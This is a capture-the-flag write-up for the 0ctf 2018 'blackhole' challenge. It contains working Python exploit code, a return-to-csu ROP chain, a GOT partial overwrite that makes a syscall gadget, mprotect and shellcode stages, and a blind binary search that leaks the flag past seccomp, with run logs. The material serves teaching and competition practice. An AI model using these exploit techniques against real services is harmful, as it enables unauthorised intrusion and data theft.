0ctf 2018 quals - blackhole
Can get the flag from a black hole?
By the way, here is a so called return-to-csu method which you may want to know :P (though personally thought this should be well-known in 2018)
202.120.7.203:666
In memory of Stephen William Hawking (1942–2018). Attachment: blackhole libc pow.py xpl.py
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Though in contrary to babystack, we’re provided the used libc this time, but that doesn’t makes it easier to pwn it…
void main()
{
init_seccomp();
vuln();
}
void vuln()
{
char buf;
read(0, &buf, 256);
}
So, we have an obvious buffer overflow here, but there are some seccomp rules in place, which only allow very few syscalls
read
open
close
mprotect
exit
exit_group
limiting us pretty much in what we can do to exfiltrate the flag from the server. It seems, we won’t get the binary to print out anything to us, so no leaks and if we can read the flag, no way to send it back to us.
Well, let’s start with gaining rip
access and executing functions. In order to use read
for anything useful, we need to control rdi
, rsi
and rdx
. While there are simple pop gadgets for rsi
and rdi
, there isn’t one for rdx
.
But we can get around this, by using the following two gadgets in combination
gdb-peda$ x/7i 0x000000000400A4A
0x400a4a: pop rbx
0x400a4b: pop rbp
0x400a4c: pop r12
0x400a4e: pop r13
0x400a50: pop r14
0x400a52: pop r15
0x400a54: ret
With this, we’ll control rbx
, rbp
, r12
, r13
, r14
and r15
.
Combined with this one:
gdb-peda$ x/15i 0x0000000000400A30
0x400a30: mov rdx,r13
0x400a33: mov rsi,r14
0x400a36: mov edi,r15d
0x400a39: call QWORD PTR [r12+rbx*8]
0x400a3d: add rbx,0x1
0x400a41: cmp rbx,rbp
0x400a44: jne 0x400a30
0x400a46: add rsp,0x8
0x400a4a: pop rbx
0x400a4b: pop rbp
0x400a4c: pop r12
0x400a4e: pop r13
0x400a50: pop r14
0x400a52: pop r15
0x400a54: ret
we thus control rdx
, rsi
and edi
. The following call, will call any function, whose address is stored at r12 + rbx*8
, and since we also control r12
and rbx
, we can define, which function should be called.
# pop rbx / rbp / r12 / r13 / r14 / r15
PGAD = 0x000000000400A4A
# mov rdx, r13 / mov rsi, r14 / mov edi, r15 / call r12 + rbx*8
CALL = 0x0000000000400A30
def call_func(funcptr, rdi, rsi, rdx, rbx_after=0, rbp_after=0, r12_after=0, r13_after=0, r14_after=0, r15_after=0):
payload = ""
payload += p64(PGAD)
payload += p64(0x0) # rbx
payload += p64(0x1) # rbp (1 to get more calls)
payload += p64(funcptr) # r12 (func to call)
payload += p64(rdx) # r13 => rdx
payload += p64(rsi) # r14 => rsi
payload += p64(rdi) # r15 => rdi
payload += p64(CALL)
payload += "A"*8
payload += p64(rbx_after)
payload += p64(rbp_after)
payload += p64(r12_after)
payload += p64(r13_after)
payload += p64(r14_after)
payload += p64(r15_after)
return payload
We’ll be using this to read
another ropchain, with a bit more space and also to a known address:
log.info("Stage1: Prepare bigger ropchain (on bss)")
payload = ""
payload += "A"*32
payload += p64(0x601150)
...
payload += call_func(e.got["read"], 0, 0x601150, off, 0x0, 0x601150 -8)
payload += p64(LEAVERET)
payload += "B"*(256-len(payload))
This reads another ropchain to 0x601150
, puts 0x601150 - 8
into rbp
and the following leave; ret
will pivot the stack to this new ropchain.
Still, we only have calls to read
and alarm
available, but since we have the provided libc, we can abuse read
to change this.
alarm:
000b8180 mov eax, 0x25
000b8185 syscall # we want to call this
000b8187 cmp rax, 0xfffffffffffff001
000b818d jae 0xb8190
000b818f retn
Since the last 3 nibbles of an address won’t be randomized by ASLR, we can overwrite the LSB of alarm
got with 0x85
to change it into a neat syscall gadget.
log.info("Stage2: Send second ropchain (known address)")
# overwrite LSB of alarm to get a syscall gadget
payload += call_func(e.got["read"], 0, e.got["alarm"], 1)
[SNIP]
# alarm => syscall gadget
payload += p8(0x85)
So, now we can trigger a syscall
by calling alarm@plt
. We now just need a proper way to set rax
to the desired syscall (we’ll be using mprotect
(10)).
Again, we can use read
for this, because it will store the count of read bytes in rax
, so we’ll just be doing a read(0, 0x601500, 10)
, resulting in rax
to be set to 0xa
(10
):
payload += call_func(e.got["read"], 0, 0x601500, 10) # set rax to mprotect
Now we can call alarm@plt
to trigger mprotect, which we use to set protection of bss
to rwx
:
payload += call_func(e.got["alarm"], 0x00601000, 0x1000, 0x7) # call mprotect(0x601000, 0x1000, 0x7)
payload += p64(0x6012e0) # jump to shellcode
payload += "flag\x00" # maybe we'll be needing this string ;)
payload = payload.ljust(656, "\x00")
payload += SC # shellcode
Having an rwx
bss, enables us to put some shellcode there and jump to it (with p64(0x6012e0)
).
But still, seccomp
will hurt us, if we try to print out the flag. So what else can we do.
Remember blind sql injection? Well, we can do something similar here:
- Open the flag file
- Read the string to a known address
- Get a character at a specific offset
- Compare it to a value
- If the character is bigger, jump to a
good
branch (go into infinite loop for example), else to abad
branch (exit the program) - Check if the service is still available (condition met) or if it exited directly (condition not met)
context.arch = "amd64"
# Read flag and compare char at offset with comp value
# exit if condition false / loop if condition true
SC = """
mov rax, 2
mov rdi, 0x6012c0
mov rsi, 0
mov rdx, 0
syscall
xchg rax, rdi
xor rax, rax
mov rsi, 0x601600
mov rdx, 60
syscall
mov rcx, 0x601600
add rcx, %d
mov al, byte ptr [rcx]
cmp al, %d
jge good
bad:
mov rax, 60
syscall
good:
mov rax, 0
mov rdi, 0
mov rsi, 0x601500
mov rdx, 0x100
syscall
jmp good
""" % (offset, compval)
We put the filename flag
already into bss
at 0x6012c0
, so this shellcode will open it, read the content to 0x601600
, get the byte at offset
from 0x601600
and compare it with compval
. If it’s greater or equal it will jump to good
, which basically just puts the binary into an infinite loop. Otherwise it will exit directly.
Armed with this, we can write a testchar
method, which will compare a value at a given offset with a specific compare value (It will need to open a connection for every test, though).
def testchar(offset, compval):
log.info("Solve pow")
sol = None
while sol == None:
r = get_connection()
sol = calcpow(r.recvline().strip())
if sol == None:
r.close()
r.send(sol)
log.info("Stage1: Prepare bigger ropchain (on bss)")
payload = ""
payload += "A"*32
payload += p64(0x601150)
context.arch = "amd64"
# Read flag and compare char at offset with comp value
# exit if condition false / loop if condition true
SC = """
mov rax, 2
mov rdi, 0x6012c0
mov rsi, 0
mov rdx, 0
syscall
xchg rax, rdi
xor rax, rax
mov rsi, 0x601600
mov rdx, 60
syscall
mov rcx, 0x601600
add rcx, %d
mov al, byte ptr [rcx]
cmp al, %d
jge good
bad:
mov rax, 60
syscall
good:
mov rax, 0
mov rdi, 0
mov rsi, 0x601500
mov rdx, 0x100
syscall
jmp good
""" % (offset, compval)
SC = asm(SC)
off = 656-256+len(SC)
payload += call_func(e.got["read"], 0, 0x601150, off, 0x0, 0x601150 -8)
payload += p64(LEAVERET)
payload += "B"*(256-len(payload))
log.info("Stage2: Send second ropchain (known address)")
# overwrite LSB of alarm to get a syscall gadget
payload += call_func(e.got["read"], 0, e.got["alarm"], 1)
payload += call_func(e.got["read"], 0, 0x601500, 10) # set rax to mprotect
payload += call_func(e.got["alarm"], 0x00601000, 0x1000, 0x7) # syscall
payload += p64(0x6012e0)
payload += "flag\x00"
payload = payload.ljust(656, "\x00")
payload += SC
# alarm => syscall gadget
payload += p8(0x85)
payload += "B"*(0x800-len(payload))
r.sendline(payload)
try:
r.recv(1, timeout=1) # check if service is still alive
r.close()
return True
except:
r.close()
return False
This method will return True
or False
, depending if our compare value is greater/equal to the current character in the file.
With this we can do a binary search for every character:
def brute_flag():
result = ""
# binary search => read flag
while (True):
range_low = 0
range_high = 128
for i in range(0, 8):
testch = (range_high + range_low)/2
print "Test: %s" % chr(testch)
res = testchar(len(result), testch)
if res:
range_low = testch
else:
range_high = testch
if testch == 0:
break
result += chr(testch)
print "Found: %s" % result
return result
This will need 8 connections per character to find the correct character (and it has to solve the proof of work every time, so it will take even more sigh). So, grab a coffee, since this will take quite some time until the flag is finally found, but it will work out in the end :)
$ python blackhole.py 1
[*] '/home/kileak/pwn/Challenges/0ctf18/pwn/blackhole/blackhole'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Closed connection to 202.120.7.203 port 666
Test: @
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: `
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: p
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: h
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: d
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: f
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: g
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: f
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Closed connection to 202.120.7.203 port 666
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Found: f
Test: @
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: `
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: p
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: h
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: l
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: n
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: m
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Test: l
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Found: fl
Test: @
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Closed connection to 202.120.7.203 port 666
[SNIP]
[*] Solve pow
[+] Opening connection to 202.120.7.203 on port 666: Done
[*] Stage1: Prepare bigger ropchain (on bss)
[*] Stage2: Send second ropchain (known address)
[*] Closed connection to 202.120.7.203 port 666
Found: flag{even_black_holes_leak_information_by_Hawking_radiation}
...
That took some time, so I’m quite curious, if someone comes up with a more elegant and quicker method of getting the flag out of this, but well, a flag is a flag :)